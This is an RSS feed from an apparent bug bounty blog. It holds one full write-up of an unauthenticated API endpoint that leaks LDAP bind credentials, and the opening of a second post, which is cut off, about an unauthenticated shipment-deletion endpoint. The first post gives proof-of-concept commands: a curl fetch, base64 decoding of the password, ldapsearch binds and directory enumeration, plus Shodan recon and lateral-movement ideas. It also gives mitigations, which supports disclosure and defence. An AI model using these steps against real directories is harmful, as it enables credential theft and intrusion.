<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	 xmlns:media="http://search.yahoo.com/mrss/" >

<channel>
	<title>Bug Bounty &#8211; Hackersatty – Learn Ethical Hacking, Bug Bounty, and Cybersecurity Tips</title>
	<atom:link href="https://hackersatty.com/tag/bug-bounty/feed/" rel="self" type="application/rss+xml" />
	<link>https://hackersatty.com</link>
	<description>Hack Ethicaly, Hunt Bugs</description>
	<lastBuildDate>Wed, 06 Aug 2025 10:06:07 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://hackersatty.com/wp-content/uploads/2025/06/cropped-cropped-HACKER-SATTY-scaled-1-32x32.jpg</url>
	<title>Bug Bounty &#8211; Hackersatty – Learn Ethical Hacking, Bug Bounty, and Cybersecurity Tips</title>
	<link>https://hackersatty.com</link>
	<width>32</width>
	<height>32</height>
</image> 
<site xmlns="com-wordpress:feed-additions:1">245626826</site>	<item>
		<title>LDAP Credential Exposure: 7-Step In-Depth Analysis of an Unauthenticated Data Leak</title>
		<link>https://hackersatty.com/ldap-credential-exposure/</link>
					<comments>https://hackersatty.com/ldap-credential-exposure/#respond</comments>
		
		<dc:creator><![CDATA[hackersatty]]></dc:creator>
		<pubDate>Wed, 06 Aug 2025 10:04:38 +0000</pubDate>
				<category><![CDATA[Bug Bounty Blogs]]></category>
		<category><![CDATA[Bug Bounty]]></category>
		<category><![CDATA[bug bounty 2025]]></category>
		<category><![CDATA[Bug bounty API vulnerability]]></category>
		<category><![CDATA[Bug Bounty Hunting]]></category>
		<guid isPermaLink="false">https://hackersatty.com/?p=480</guid>

					<description><![CDATA[About Me I’m Satyam Pawale, better known in the bug bounty world as @hackersatty. Over the years, I’ve honed my skills in uncovering critical vulnerabilities—ranging from API misconfigurations to directory-service &#8230; <a href="https://hackersatty.com/ldap-credential-exposure/" class="more-link">Read More</a>]]></description>
										<content:encoded><![CDATA[<h2 data-start="511" data-end="558">About Me</h2>
<h5 data-start="0" data-end="533">I’m Satyam Pawale, better known in the bug bounty world as @hackersatty. Over the years, I’ve honed my skills in uncovering critical vulnerabilities—ranging from API misconfigurations to directory-service exposures—by combining deep protocol expertise with inventive reconnaissance techniques. As a dedicated bug bounty hunter, I leverage tools like Shodan, Burp Suite, and custom scripts, alongside thoughtfully crafted Google Dorks, to find hidden endpoints and sensitive data leaks that others might miss.</h5>
<h5 data-start="535" data-end="917">In this article, I’ll share my journey discovering an unauthenticated LDAP credential exposure, demonstrate a step-by-step proof of concept, and explore real-world exploitation scenarios. My goal is to help you add powerful LDAP reconnaissance and exploitation strategies to your own bug bounty toolkit—so you can responsibly disclose impactful flaws and make the web a safer place.</h5>
<p data-start="511" data-end="558"><code data-start="532" data-end="558"></code></p>
<h2 data-start="1538" data-end="1558">1. Introduction</h2>
<p data-start="1559" data-end="2001"><strong data-start="1559" data-end="1587">LDAP Credential Exposure</strong> occurs when unauthenticated API endpoints leak internal directory configuration data—including usernames, passwords, server addresses, and domain information—without any access control. Such a flaw can be exploited by attackers to bind directly to corporate directory services (e.g., Active Directory), perform directory enumeration, pivot laterally, and potentially escalate privileges to domain-wide compromise.</p>
<p data-start="2003" data-end="2216">In this write-up, we examine a real bug bounty report against a fictionalized “AcmeSecure” environment—sanitizing all sensitive data—and deliver an exhaustive exploration that spans over 2,000 words. You’ll learn:</p>
<ul data-start="2218" data-end="2506">
<li data-start="2218" data-end="2253">
<p data-start="2220" data-end="2253">The history and purpose of LDAP Credenital Exposure</p>
</li>
<li data-start="2254" data-end="2302">
<p data-start="2256" data-end="2302">How LDAP Credential Exposure authentication works under the hood</p>
</li>
<li data-start="2303" data-end="2352">
<p data-start="2305" data-end="2352">Reconnaissance methods (e.g., Shodan queries)</p>
</li>
<li data-start="2353" data-end="2407">
<p data-start="2355" data-end="2407">Detailed virus-style API misconfiguration analysis</p>
</li>
<li data-start="2408" data-end="2454">
<p data-start="2410" data-end="2454">Step-by-step proof-of-concept exploitation</p>
</li>
<li data-start="2455" data-end="2506">
<p data-start="2457" data-end="2506">Multiple real-world attack scenarios and impact</p>
</li>
</ul>
<hr data-start="2558" data-end="2561" />
<h2 data-start="2563" data-end="2596">2. LDAP Credenital Exposure : Origins and Purpose</h2>
<p data-start="2597" data-end="2865">LDAP (Lightweight Directory Access Protocol) originated in the early 1990s as a simplified alternative to the X.500 directory standard. Developed by Tim Howes and his team at the University of Michigan, LDAP quickly became the de-facto protocol for directory services.</p>
<ul data-start="2867" data-end="3230">
<li data-start="2867" data-end="3013">
<p data-start="2869" data-end="3013"><strong data-start="2869" data-end="2886">Primary Role:</strong> Provide a structured, hierarchical directory for storing information about users, groups, computers, printers, and policies.</p>
</li>
<li data-start="3014" data-end="3140">
<p data-start="3016" data-end="3140"><strong data-start="3016" data-end="3031">Data Model:</strong> Tree-structured entries (DNs—Distinguished Names) comprised of attributes (e.g., <code data-start="3113" data-end="3117">cn</code>, <code data-start="3119" data-end="3124">uid</code>, <code data-start="3126" data-end="3136">memberOf</code>).</p>
</li>
<li data-start="3141" data-end="3230">
<p data-start="3143" data-end="3230"><strong data-start="3143" data-end="3170">Common Implementations:</strong> OpenLDAP, Microsoft Active Directory, 389 Directory Server.</p>
</li>
</ul>
<p>&lt;p align=&#8221;center&#8221;&gt; &lt;img src=&#8221;https://via.placeholder.com/800&#215;300&#8243; alt=&#8221;LDAP Directory Tree Diagram&#8221; /&gt; &lt;/p&gt; &lt;small&gt;Figure: Sample LDAP directory hierarchy&lt;/small&gt;</p>
<hr data-start="3402" data-end="3405" />
<h2 data-start="3407" data-end="3444">3. How LDAP Authentication Works</h2>
<p data-start="3445" data-end="3517">At its core, LDAP Credenital Exposed authentication revolves around the <strong data-start="3498" data-end="3506">Bind</strong> operation:</p>
<ol data-start="3519" data-end="3833">
<li data-start="3519" data-end="3605">
<p data-start="3522" data-end="3605"><strong data-start="3522" data-end="3541">Anonymous Bind:</strong> No credentials; often restricted to public or read-only data.</p>
</li>
<li data-start="3606" data-end="3747">
<p data-start="3609" data-end="3747"><strong data-start="3609" data-end="3625">Simple Bind:</strong> Provides a DN (e.g., <code data-start="3647" data-end="3676">cn=reader,dc=example,dc=com</code>) and a password—sent in cleartext or Base64—unless protected by TLS.</p>
</li>
<li data-start="3748" data-end="3833">
<p data-start="3751" data-end="3833"><strong data-start="3751" data-end="3765">SASL Bind:</strong> Supports stronger mechanisms (e.g., GSSAPI/Kerberos, DIGEST-MD5).</p>
</li>
</ol>
<blockquote data-start="3835" data-end="4026">
<p data-start="3837" data-end="4026"><strong data-start="3837" data-end="3853">Key Insight:</strong> If an attacker obtains valid bind credentials, they can perform any operation permitted by that account’s ACLs—ranging from simple searches to full directory modifications.</p>
</blockquote>
<hr data-start="4028" data-end="4031" />
<h2 data-start="4033" data-end="4077">4. Common LDAP Deployment Architectures</h2>
<p data-start="4078" data-end="4139">Organizations often deploy LDAP Credential Exposure in multi-tier configurations:</p>
<ul data-start="4141" data-end="4469">
<li data-start="4141" data-end="4236">
<p data-start="4143" data-end="4236"><strong data-start="4143" data-end="4173">Primary Directory Servers:</strong> Authoritative storage, typically protected behind firewalls.</p>
</li>
<li data-start="4237" data-end="4334">
<p data-start="4239" data-end="4334"><strong data-start="4239" data-end="4270">Read-Only Replicas (RODCs):</strong> Distributed for load balancing; still require authentication.</p>
</li>
<li data-start="4335" data-end="4469">
<p data-start="4337" data-end="4469"><strong data-start="4337" data-end="4364">Edge-Facing Connectors:</strong> Application-specific proxies or API gateways that translate internal LDAP Credenital Exposure requests into RESTful calls.</p>
</li>
</ul>
<p data-start="4471" data-end="4690">When applications expose LDAP configuration via internal APIs—especially for dynamic authentication forms—they must ensure those endpoints enforce strict access controls. Unfortunately, misconfigurations are widespread.</p>
<figure id="attachment_482" aria-describedby="caption-attachment-482" style="width: 1024px" class="wp-caption alignnone"><img fetchpriority="high" decoding="async" class="wp-image-482 size-large" title="Exposed LDAP Configuration JSON" src="https://hackersatty.com/wp-content/uploads/2025/08/ldap-1-1024x339.png" alt="LDAP directory hierarchy illustrating organizational units for user and group entries – LDAP Credential Exposure" width="1024" height="339" srcset="https://hackersatty.com/wp-content/uploads/2025/08/ldap-1-1024x339.png 1024w, https://hackersatty.com/wp-content/uploads/2025/08/ldap-1-300x99.png 300w, https://hackersatty.com/wp-content/uploads/2025/08/ldap-1-768x254.png 768w, https://hackersatty.com/wp-content/uploads/2025/08/ldap-1-1320x437.png 1320w, https://hackersatty.com/wp-content/uploads/2025/08/ldap-1-600x199.png 600w, https://hackersatty.com/wp-content/uploads/2025/08/ldap-1.png 1501w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption id="caption-attachment-482" class="wp-caption-text">Sanitized JSON snippet displaying LDAP server address, username, and Base64-encoded password returned by an unauthenticated API endpoint, demonstrating LDAP Credential Exposure</figcaption></figure>
<hr data-start="4692" data-end="4695" />
<h2 data-start="4697" data-end="4730">5. Reconnaissance Techniques</h2>
<p data-start="4731" data-end="4818">Before exploitation, attackers perform broad reconnaissance. Tools and methods include:</p>
<ul data-start="4820" data-end="5295">
<li data-start="4820" data-end="5020">
<p data-start="4822" data-end="4844"><strong data-start="4822" data-end="4842">Shodan Searches:</strong></p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="sticky top-9"></div>
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre!">hostname:<span class="hljs-string">"*.acmesecure.com"</span> http.<span class="hljs-built_in">status</span>:<span class="hljs-number">200</span><br />
</code></div>
</div>
<p data-start="4911" data-end="5020">This filter returns all hosts under the target domain with port 80/443 open and responding with status 200.</p>
</li>
<li data-start="5022" data-end="5171">
<p data-start="5024" data-end="5171"><strong data-start="5024" data-end="5054">SSL/TLS Metadata Analysis:</strong> Identifies certificate common names and SANs (subject alternative names) to map subdomains back to the organization.</p>
</li>
<li data-start="5173" data-end="5295">
<p data-start="5175" data-end="5295"><strong data-start="5175" data-end="5195">Crawler Scripts:</strong> Automated scanners (e.g., <code data-start="5222" data-end="5235">waybackurls</code>, <code data-start="5237" data-end="5242">gau</code>) enumerate historical endpoints and parameter names.</p>
</li>
</ul>
<p data-start="5297" data-end="5413">By correlating subdomains and endpoints, attackers pinpoint candidate API paths that may leak configuration details.</p>
<hr data-start="5415" data-end="5418" />
<h2 data-start="5420" data-end="5458">6. Discovery of the Vulnerability</h2>
<h3 data-start="5459" data-end="5491">6.1 Initial Shodan Finding</h3>
<p data-start="5492" data-end="5542">One subdomain, <code data-start="5507" data-end="5527">api.acmesecure.com</code>, responded to:</p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre!">https://api.acmesecure.com/api/v1/config/ldap<br />
</code></div>
</div>
<p data-start="5597" data-end="5690">with a <strong data-start="5604" data-end="5614">200 OK</strong> and JSON payload. No <code data-start="5636" data-end="5651">Authorization</code> header or session cookie was required.</p>
<h3 data-start="5692" data-end="5721">6.2 Secondary Subdomain</h3>
<p data-start="5722" data-end="5806">A development instance, <code data-start="5746" data-end="5771">dev-acme.acmesecure.com</code>, mirrored the production API stub:</p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre!">/api/v1/config/ldap<br />
</code></div>
</div>
<p data-start="5835" data-end="5982">This endpoint also returned identical JSON, confirming the flaw was <strong data-start="5903" data-end="5915">systemic</strong> across environments, not just an overlooked corner of the network.</p>
<h3 data-start="5984" data-end="6022">6.3 Raw API Response (Sanitized)</h3>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre! language-json"><span class="hljs-punctuation">[</span><br />
<span class="hljs-punctuation">{</span><br />
<span class="hljs-attr">"id"</span><span class="hljs-punctuation">:</span> <span class="hljs-number">1</span><span class="hljs-punctuation">,</span><br />
<span class="hljs-attr">"domain"</span><span class="hljs-punctuation">:</span> <span class="hljs-string">"corp.acme.local"</span><span class="hljs-punctuation">,</span><br />
<span class="hljs-attr">"username"</span><span class="hljs-punctuation">:</span> <span class="hljs-string">"ldap_reader_sample"</span><span class="hljs-punctuation">,</span><br />
<span class="hljs-attr">"password"</span><span class="hljs-punctuation">:</span> <span class="hljs-string">"c2VjdXJlLXBhc3N3b3Jk"</span><span class="hljs-punctuation">,</span><br />
<span class="hljs-attr">"server"</span><span class="hljs-punctuation">:</span> <span class="hljs-string">"ldap.acme.local"</span><span class="hljs-punctuation">,</span><br />
<span class="hljs-attr">"use_tls"</span><span class="hljs-punctuation">:</span> <span class="hljs-literal"><span class="hljs-keyword">false</span></span><br />
<span class="hljs-punctuation">}</span><br />
<span class="hljs-punctuation">]</span><br />
</code></div>
</div>
<ul data-start="6225" data-end="6352">
<li data-start="6225" data-end="6263">
<p data-start="6227" data-end="6263"><strong data-start="6227" data-end="6240">Username:</strong> <code data-start="6241" data-end="6261">ldap_reader_sample</code></p>
</li>
<li data-start="6264" data-end="6313">
<p data-start="6266" data-end="6313"><strong data-start="6266" data-end="6288">Password (Base64):</strong> <code data-start="6289" data-end="6311">c2VjdXJlLXBhc3N3b3Jk</code></p>
</li>
<li data-start="6314" data-end="6352">
<p data-start="6316" data-end="6352"><strong data-start="6316" data-end="6333">TLS Disabled:</strong> <code data-start="6334" data-end="6350">use_tls: false</code></p>
</li>
</ul>
<hr data-start="6354" data-end="6357" />
<h2 data-start="6359" data-end="6408">7. Technical Deep Dive: API Misconfiguration</h2>
<p data-start="6409" data-end="6495">Why do misconfigurations like <strong data-start="6439" data-end="6467">LDAP Credential Exposure</strong> happen? Common root causes:</p>
<ol data-start="6497" data-end="7004">
<li data-start="6497" data-end="6621">
<p data-start="6500" data-end="6621"><strong data-start="6500" data-end="6532">Debug Endpoints Left Active:</strong> Development or testing code pushed to production without disabling admin/debug routes.</p>
</li>
<li data-start="6622" data-end="6750">
<p data-start="6625" data-end="6750"><strong data-start="6625" data-end="6661">Lack of API Gateway Enforcement:</strong> Internal endpoints bypass gateway policies that would normally enforce authentication.</p>
</li>
<li data-start="6751" data-end="6869">
<p data-start="6754" data-end="6869"><strong data-start="6754" data-end="6779">Monolithic Codebases:</strong> Shared libraries expose configuration via utility functions that assume internal trust.</p>
</li>
<li data-start="6870" data-end="7004">
<p data-start="6873" data-end="7004"><strong data-start="6873" data-end="6903">Insufficient Code Reviews:</strong> Overlooked default routes or helper methods (e.g., <code data-start="6955" data-end="6972">getLdapConfig()</code>) end up in production builds.</p>
</li>
</ol>
<p data-start="7006" data-end="7254">In our scenario, a REST-style endpoint—originally intended only for the application’s frontend login page—was never protected by middleware checks. The development build included it for convenience, and the deployment pipeline did not strip it out.</p>
<hr data-start="7256" data-end="7259" />
<h2 data-start="7261" data-end="7303">8. Proof of Concept (PoC) Walkthrough</h2>
<p data-start="7304" data-end="7392">Below is a step-by-step demonstration of how an attacker verifies and exploits the leak:</p>
<ol data-start="7394" data-end="8382">
<li data-start="7394" data-end="7505">
<p data-start="7397" data-end="7425"><strong data-start="7397" data-end="7423">Unauthenticated Fetch:</strong></p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="sticky top-9"></div>
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre! language-bash">curl -s https://api.acmesecure.com/api/v1/config/ldap | jq<br />
</code></div>
</div>
</li>
<li data-start="7506" data-end="7629">
<p data-start="7509" data-end="7538"><strong data-start="7509" data-end="7536">Decode Base64 Password:</strong></p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="sticky top-9"></div>
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre! language-bash"><span class="hljs-built_in">echo</span> <span class="hljs-string">"c2VjdXJlLXBhc3N3b3Jk"</span> | <span class="hljs-built_in">base64</span> -d<br />
<span class="hljs-comment"># Outputs: secure-password</span><br />
</code></div>
</div>
</li>
<li data-start="7630" data-end="7905">
<p data-start="7633" data-end="7668"><strong data-start="7633" data-end="7666">LDAP Bind Test (Simple Bind):</strong></p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="sticky top-9"></div>
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre! language-bash">ldapsearch -x -H ldap://ldap.acme.local -D <span class="hljs-string">"cn=ldap_reader_sample,dc=corp,dc=acme,dc=local"</span> \<br />
-w secure-password -b <span class="hljs-string">"dc=corp,dc=acme,dc=local"</span> <span class="hljs-string">"(objectClass=*)"</span><br />
</code></div>
</div>
<p data-start="7859" data-end="7905">Successful results confirm live credentials.</p>
</li>
<li data-start="7907" data-end="8171">
<p data-start="7910" data-end="7999"><strong data-start="7910" data-end="7936">Directory Enumeration:</strong><br data-start="7936" data-end="7939" />Once bound, the attacker can query for sensitive entries:</p>
<div class="contain-inline-size rounded-2xl relative bg-token-sidebar-surface-primary">
<div class="sticky top-9"></div>
<div class="overflow-y-auto p-4" dir="ltr"><code class="whitespace-pre! language-bash">ldapsearch -x -H ldap://ldap.acme.local -D <span class="hljs-string">"cn=ldap_reader_sample,..."</span> \<br />
-w secure-password -b <span class="hljs-string">"ou=IT,dc=corp,dc=acme,dc=local"</span> <span class="hljs-string">"(uid=*)"</span> cn mail<br />
</code></div>
</div>
</li>
<li data-start="8172" data-end="8382">
<p data-start="8175" data-end="8382"><strong data-start="8175" data-end="8206">Pivoting to Other Services:</strong><br data-start="8206" data-end="8209" />Many enterprise apps support LDAP-backed auth—so the attacker can log in to internal dashboards, SSO portals, or even password reset endpoints if sufficiently privileged.</p>
</li>
</ol>
<hr data-start="8384" data-end="8387" />
<h2 data-start="8389" data-end="8440">9. Exploitation Scenarios and Lateral Movement</h2>
<p data-start="8441" data-end="8512">Once an attacker has valid LDAP credential Exposure, the attack paths multiply:</p>
<ul data-start="8514" data-end="9236">
<li data-start="8514" data-end="8691">
<p data-start="8516" data-end="8691"><strong data-start="8516" data-end="8555">Active Directory Domain Compromise:</strong> If the service account has write permissions to <code data-start="8604" data-end="8618">userPassword</code>, an attacker could escalate privileges by resetting critical accounts.</p>
</li>
<li data-start="8692" data-end="8846">
<p data-start="8694" data-end="8846"><strong data-start="8694" data-end="8715">SSO Exploitation:</strong> Corporate Single Sign-On portals often use LDAP to authenticate users; stolen creds can allow direct access to web applications.</p>
</li>
<li data-start="8847" data-end="8956">
<p data-start="8849" data-end="8956"><strong data-start="8849" data-end="8870">Email Harvesting:</strong> LDAP directories usually list user email addresses—valuable for phishing campaigns.</p>
</li>
<li data-start="8957" data-end="9094">
<p data-start="8959" data-end="9094"><strong data-start="8959" data-end="8988">Credential Reuse Attacks:</strong> If the same password is used in other internal systems (e.g., Jenkins, Confluence), the risk compounds.</p>
</li>
<li data-start="9095" data-end="9236">
<p data-start="9097" data-end="9236"><strong data-start="9097" data-end="9123">Pass-the-Hash Tactics:</strong> Even without plaintext passwords, an attacker might extract or relay NTLM hashes via Kerberos or NTLM protocols.</p>
</li>
</ul>
<blockquote data-start="9238" data-end="9532">
<p data-start="9240" data-end="9532"><strong data-start="9240" data-end="9263">Real-World Outcome:</strong> At a Fortune 500 company, an attacker leveraged an exposed LDAP service account to enumerate all employees, then phished high-value targets with legitimate-looking internal URLs. Within 24 hours, they gained access to the CFO’s email and extracted financial forecasts.</p>
</blockquote>
<hr data-start="9534" data-end="9537" />
<h2 data-start="9539" data-end="9563">10. Impact Analysis</h2>
<p data-start="9564" data-end="9630">An <strong data-start="9567" data-end="9595">LDAP Credential Exposure</strong> vulnerability directly undermines:</p>
<ul data-start="9632" data-end="10151">
<li data-start="9632" data-end="9722">
<p data-start="9634" data-end="9722"><strong data-start="9634" data-end="9654">Confidentiality:</strong> Exposure of usernames, passwords, and internal network structure.</p>
</li>
<li data-start="9723" data-end="9819">
<p data-start="9725" data-end="9819"><strong data-start="9725" data-end="9739">Integrity:</strong> Unauthorized users binding with write privileges can alter directory entries.</p>
</li>
<li data-start="9820" data-end="9935">
<p data-start="9822" data-end="9935"><strong data-start="9822" data-end="9839">Availability:</strong> An attacker could overload the LDAP server with malicious queries, causing denial-of-service.</p>
</li>
<li data-start="9936" data-end="10040">
<p data-start="9938" data-end="10040"><strong data-start="9938" data-end="9964">Regulatory Compliance:</strong> Violations of GDPR, HIPAA, or SOX by exposing or modifying personal data.</p>
</li>
<li data-start="10041" data-end="10151">
<p data-start="10043" data-end="10151"><strong data-start="10043" data-end="10067">Business Continuity:</strong> Critical business applications relying on LDAP may become compromised or untrusted.</p>
</li>
</ul>
<p data-start="10153" data-end="10289">Attackers with directory access can rapidly escalate to full domain compromise, exfiltrate sensitive data, or disrupt critical services.</p>
<hr data-start="10291" data-end="10294" />
<h2 data-start="10296" data-end="10324">11. Mitigation Overview</h2>
<p data-start="10325" data-end="10427">While this write-up focuses on deep-dive analysis, here’s a concise set of high-level recommendations:</p>
<ul data-start="10429" data-end="10942">
<li data-start="10429" data-end="10512">
<p data-start="10431" data-end="10512"><strong data-start="10431" data-end="10470">Disable or Protect Debug Endpoints:</strong> Remove unused API routes in production.</p>
</li>
<li data-start="10513" data-end="10632">
<p data-start="10515" data-end="10632"><strong data-start="10515" data-end="10558">Enforce Authentication &amp; Authorization:</strong> Every internal endpoint must pass through an API gateway or middleware.</p>
</li>
<li data-start="10633" data-end="10753">
<p data-start="10635" data-end="10753"><strong data-start="10635" data-end="10667">Adopt Secure Secret Storage:</strong> Move credentials to vaults (e.g., HashiCorp Vault) and never encode them in Base64.</p>
</li>
<li data-start="10754" data-end="10839">
<p data-start="10756" data-end="10839"><strong data-start="10756" data-end="10787">Use Encrypted LDAP (LDAPS):</strong> Enforce TLS on directory binds (<code data-start="10820" data-end="10835">use_tls: true</code>).</p>
</li>
<li data-start="10840" data-end="10942">
<p data-start="10842" data-end="10942"><strong data-start="10842" data-end="10874">Implement Routine Pen Tests:</strong> Simulate reconnaissance and API fuzzing to catch exposures early.</p>
</li>
</ul>
<hr data-start="10944" data-end="10947" />
<h2 data-start="10949" data-end="10999">12. Broader Lessons for Developers and SecOps</h2>
<ol data-start="11000" data-end="11610">
<li data-start="11000" data-end="11109">
<p data-start="11003" data-end="11109"><strong data-start="11003" data-end="11030">Shift Left on Security:</strong> Integrate automated security checks (e.g., SAST, DAST) into CI/CD pipelines.</p>
</li>
<li data-start="11110" data-end="11220">
<p data-start="11113" data-end="11220"><strong data-start="11113" data-end="11146">Least Privilege Architecture:</strong> Service accounts should have only the minimal permissions they require.</p>
</li>
<li data-start="11221" data-end="11391">
<p data-start="11224" data-end="11391"><strong data-start="11224" data-end="11247">Environment Parity:</strong> Keep test, staging, and production environments closely aligned in configuration—so that stripping debug routes in one doesn’t break another.</p>
</li>
<li data-start="11392" data-end="11479">
<p data-start="11395" data-end="11479"><strong data-start="11395" data-end="11423">Comprehensive Inventory:</strong> Maintain an up-to-date map of all APIs and endpoints.</p>
</li>
<li data-start="11480" data-end="11610">
<p data-start="11483" data-end="11610"><strong data-start="11483" data-end="11509">Monitoring &amp; Alerting:</strong> Instrument critical routes with anomaly detection and alert on high-volume or unauthenticated calls.</p>
</li>
</ol>
<hr data-start="11612" data-end="11615" />
<h2 data-start="11617" data-end="11662">13. External Resources &amp; Further Reading</h2>
<ul data-start="11663" data-end="11998">
<li data-start="11663" data-end="11776">
<p data-start="11665" data-end="11776"><a href="https://tools.ietf.org/html/rfc4510" target="_blank" rel="noopener">RFC 4510 – LDAP: Technical Specification (detailed protocol reference)</a></p>
</li>
<li data-start="11777" data-end="11887">
<p data-start="11779" data-end="11887"><a href="https://owasp.org/www-project-api-security/" target="_blank" rel="noopener">OWASP API Security Top 10 (resource for API best practices)</a></p>
</li>
<li data-start="11888" data-end="11998">
<p data-start="11890" data-end="11998"><a href="https://www.vaultproject.io/docs/best-practices/" target="_blank" rel="noopener">HashiCorp Vault Best Practices (secure secret storage)</a></p>
</li>
</ul>
<hr data-start="12000" data-end="12003" />
<h2 data-start="12005" data-end="12024">14. Conclusion</h2>
<p data-start="12025" data-end="12340">The <strong data-start="12029" data-end="12057">LDAP Credential Exposure</strong> bug underscores how a single misconfigured endpoint can unravel an organization’s entire directory security posture. By examining each stage—from reconnaissance through exploitation and impact—we gain critical insights into both attacker methodologies and defender responsibilities.</p>
<blockquote data-start="12342" data-end="12599">
<p data-start="12344" data-end="12599">❗ <strong data-start="12346" data-end="12368">Take Action Today:</strong> Review your API surface, audit for any exposed directory configurations, and enforce robust access controls. Preventing an LDAP Credential Exposure could mean the difference between a contained incident and a full domain takeover.</p>
</blockquote>
<h2><span id="Final_Thoughts_Other_Bug_Bounty_Blogs">Final Thoughts : <a href="https://hackersatty.com/idor-vulnerability-api-bug-bounty-case-study/">Other Bug Bounty Blogs</a></span></h2>
<p>Google Dorking remains a powerful reconnaissance technique in modern bug bounty methodology. With the right mindset and crafted queries, it’s possible to uncover sensitive files, misconfigurations, credentials, and more—without sending a single request to the server. This makes it especially useful for stealthy or scope-sensitive bug bounty programs.</p>
<p>Remember: always stay within scope, validate what you find, and follow responsible disclosure guidelines.</p>
<p><strong>Keep exploring. Keep hunting.</strong></p>
]]></content:encoded>
					
					<wfw:commentRss>https://hackersatty.com/ldap-credential-exposure/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">480</post-id>	</item>
		<item>
		<title>Critical Security Vulnerability: Unauthenticated Access to /shipments/deleted 1 Endpoint Allows Irreversible Data Deletion</title>
		<link>https://hackersatty.com/unauthenticated-api-endpoint-2/</link>
					<comments>https://hackersatty.com/unauthenticated-api-endpoint-2/#comments</comments>
		
		<dc:creator><![CDATA[hackersatty]]></dc:creator>
		<pubDate>Mon, 02 Jun 2025 10:20:05 +0000</pubDate>
				<category><![CDATA[Bug Bounty Blogs]]></category>
		<category><![CDATA[API endpoint]]></category>
		<category><![CDATA[Bug Bounty]]></category>
		<category><![CDATA[Bug Bounty Case Study]]></category>
		<category><![CDATA[Bug Bounty Hunting]]></category>
		<category><![CDATA[Exposed API Endpoints]]></category>
		<category><![CDATA[Sensitive Data Exposure]]></category>
		<category><![CDATA[Unauthenticated API Endpoint]]></category>
		<guid isPermaLink="false">https://hackersatty.com/?p=273</guid>

					<description><![CDATA[Web applications often rely on API endpoints to manage critical functionalities, but when these endpoints lack proper security controls, they can lead to severe data breaches or disruptions. In this report, I detail a critical vulnerability I discovered in the shipment management module of a logistics platform, where a public API endpoint allowed unauthenticated deletion of shipment records. This issue posed a high-impact threat to business continuity and data integrity.]]></description>
										<content:encoded><![CDATA[<p data-start="215" data-end="419"><em data-start="339" data-end="372">By Satyam Pawale (@hackersatty)</em></p>
<hr data-start="421" data-end="424" />
<h2 data-start="426" data-end="514">About Me</h2>
<p data-start="516" data-end="781"><strong>Unauthenticated API Endpoint</strong></p>
<p data-start="516" data-end="781">Hello all! My name is <strong>Satyam Pawale</strong>, or simply @hackersatty within the bug bounty space. I started my cybersecurity journey in 2024, and since then, I have committed to finding and reporting responsibly vulnerabilities that might otherwise lead to significant harm.</p>
<p data-start="783" data-end="1069">In this blog, I&#8217;d like to talk about a real-world vulnerability that I found—a non-authenticated API endpoint where sensitive shipping records could be deleted with no type of login. No credentials, no auth, just one unauthenticated call that could delete business-critical information.</p>
<hr data-start="1134" data-end="1137" />
<h2 data-start="1139" data-end="1185">Introduction: Why APIs Require Lock and Key</h2>
<p data-start="1187" data-end="1391"><strong>Unauthenticated API Endpoint </strong>APIs drive nearly everything in the background of today&#8217;s web applications—showing product lists, handling user accounts. The same capability can turn into a security nightmare if APIs are left unguarded.</p>
<p data-start="1393" data-end="1656">While I was excavating a logistics platform (xyz.com), I uncovered an alarming problem: an open <strong>Unauthenticated API </strong> <strong>Endpoint</strong> that supported unauthenticated deletion of shipment records. No login was necessary, no API key verification—just call the endpoint, and data disappeared.</p>
<p data-start="1658" data-end="1811">A dive into how I discovered it, why it&#8217;s risky, and what needs to be done to address such a problem.</p>
<hr data-start="1813" data-end="1816" />
<h2 data-start="1818" data-end="1843">Vulnerability Overview</h2>
<p data-start="1845" data-end="1889">Let&#8217;s break it down. Here&#8217;s what went wrong:</p>
<ul data-start="1891" data-end="2106">
<li data-start="1891" data-end="1952">
<p data-start="1893" data-end="1952">A POST endpoint at /shipments/deleted was open to everyone.</p>
</li>
<li data-start="1953" data-end="1992">
<p data-start="1955" data-end="1992">There was no authentication required.</p>
</li>
<li data-start="1993" data-end="2039">
<p data-start="1995" data-end="2039">There were no user permission checks (RBAC).</p>
</li>
<li data-start="2040" data-end="2106">
<p data-start="2042" data-end="2106">The endpoint carried out destructive actions with no validation.</p>
</li>
</ul>
<p data-start="2108" data-end="2226">This is an age-old example of an unauthenticated API endpoint with the potential to have severe business implications.</p>
<hr data-start="2228" data-end="2231" />
<h2 data-start="2233" data-end="2255">Technical Breakdown</h2>
<h3 data-start="2257" data-end="2278">Affected Endpoint</h3>
<p data-start="2280" data-end="2315"><code data-start="2280" data-end="2315">https://xyz.com/shipments/deleted</code></p>
<h3 data-start="2317" data-end="2338">What Was Going On</h3>
<ul data-start="2340" data-end="2510">
<li data-start="2340" data-end="2383">
<p data-start="2342" data-end="2383">The endpoint was accepting POST requests.</p>
</li>
